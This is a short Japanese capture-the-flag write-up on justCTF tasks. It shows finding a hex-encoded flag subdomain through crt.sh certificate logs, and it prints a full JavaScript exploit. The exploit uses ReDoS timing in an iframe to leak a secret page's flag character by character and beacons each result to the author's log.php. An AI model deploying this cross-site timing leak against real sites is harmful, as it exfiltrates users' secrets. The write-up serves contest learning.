1/30 - 2/1という日程で開催された。zer0ptsで参加して5位。Web問がとても面白かった。
[Web, Misc] Forgotten name
実質OSINT、https://crt.sh/?q=jctf.pro
で 6a7573744354467b633372545f6c34616b735f6f3070737d.web.jctf.pro
というサブドメインが見つかる。
[Web] Computeration Fixed
s1r1usさんがReDoSでフラグを少しずつ得られることを見つけていたので、雑に以下のようなスクリプトを書いた。これにアクセスさせると /log.php?23,a
/log.php?19,b
/log.php?26,c
… という感じでアクセスログが流れていくが、_
に到達するまでにどこかで止まるはず。/log.php?17,s
で止まったなら s
が正解。
<body> <script> const f = async cand => { return new Promise(r => { const i = document.createElement('iframe'); const t = new Date; i.src = 'https://computeration-fixed.web.jctf.pro/'; i.onload = () => { //i.src = 'https://computeration-fixed.web.jctf.pro/#justCTF[{]' + cand + '[a-z_{}]+(.{0,100}){500}XXX'; i.src = 'https://computeration-fixed.web.jctf.pro/#ju' + cand + '[a-z_{}]+(.{0,100}){500}XXX'; r(new Date - t); }; document.body.appendChild(i); }); }; (async () => { const known = ''; for (const c of 'abcdefghijklmnopqrstuvwxyz_@') { const t = await f(known + c); (new Image).src = 'log.php?' + [t, known + c]; } })(); </script> </body>